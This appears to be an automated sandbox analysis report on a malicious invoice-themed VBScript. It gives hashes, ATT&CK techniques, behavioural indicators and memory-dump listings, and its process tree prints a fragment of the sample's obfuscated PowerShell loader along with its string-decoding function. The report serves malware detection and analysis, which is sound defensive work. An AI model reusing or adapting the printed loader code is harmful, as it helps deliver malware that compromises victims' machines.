2bff6117c34fe9227f1e18a76646b9369d8dab469e7f440e7438cdc229bab264

General

Target

Inv#_2E0688.vbs
Size

14KB
MD5

8bae164fec49a354fc8367b53b27fcd5
SHA1

4a7b25b3853e1cb200f4e217e718c691eb2075b8
SHA256

1f4c382dee3a98bd6b3bbbf875f7c49d2127a8cea7e1e2feff2d20ff27dd4799
SHA512

102b1b8e8f29b899d38e2fec67228fa8078bb8b82e5982f0d5ae785a5ead464de0cc17bf5484f9238f3aa93778a02d800e9c730eb25035f5a6a71be2bb283665
SSDEEP

192:uD3gOhEMOYt4wVTUpAnS+AQ4in8GiY6IdVqqJCIgCivAajbQQRpoAUdUQ4X/X:uDw0tz5UXzQPn8PUVqU6CSNPQO35X

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
24	4676	powershell.exe
41	4676	powershell.exe
42	4676	powershell.exe
52	4676	powershell.exe
67	4676	powershell.exe
68	4676	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4676	powershell.exe
4676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4676	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1224 wrote to memory of 4676	1224	WScript.exe	93
PID 1224 wrote to memory of 4676	1224	WScript.exe	93
PID 4676 wrote to memory of 4784	4676	powershell.exe	96
PID 4676 wrote to memory of 4784	4676	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Inv#_2E0688.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Consumo = 1;Function Trachyandesite($Mappedyrs){$Intervallingllume=$Mappedyrs.Length-$Consumo;$Sgnehelligdagsbetalingens='Substring';For( $Intervalling=5;$Intervalling -lt $Intervallingllume;$Intervalling+=6){$Tomblet+=$Mappedyrs.$Sgnehelligdagsbetalingens.Invoke( $Intervalling, $Consumo);}$Tomblet;}function Sprdeste($Datastyre){ . ($Pardonee) ($Datastyre);}$fnattet=Trachyandesite ' AretM OesooCountzBogkaiafsprlUne,clFl rta Unco/Udenr5Bygak..andd0Efte. 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  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Coronagraph.Sca && echo t"
    3⤵
    PID:4784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j1mpasti.xuz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4676-0-0x00007FFF7ADC3000-0x00007FFF7ADC5000-memory.dmp

Filesize
8KB

Download
memory/4676-10-0x000001E9E86C0000-0x000001E9E86E2000-memory.dmp

Filesize
136KB

Download
memory/4676-11-0x00007FFF7ADC0000-0x00007FFF7B881000-memory.dmp

Filesize
10.8MB

Download
memory/4676-12-0x00007FFF7ADC0000-0x00007FFF7B881000-memory.dmp

Filesize
10.8MB

Download
memory/4676-13-0x00007FFF7ADC3000-0x00007FFF7ADC5000-memory.dmp

Filesize
8KB

Download
memory/4676-14-0x00007FFF7ADC0000-0x00007FFF7B881000-memory.dmp

Filesize
10.8MB

Download
memory/4676-15-0x00007FFF7ADC0000-0x00007FFF7B881000-memory.dmp

Filesize
10.8MB

Download
memory/4676-16-0x00007FFF7ADC0000-0x00007FFF7B881000-memory.dmp

Filesize
10.8MB

Download

Analysis

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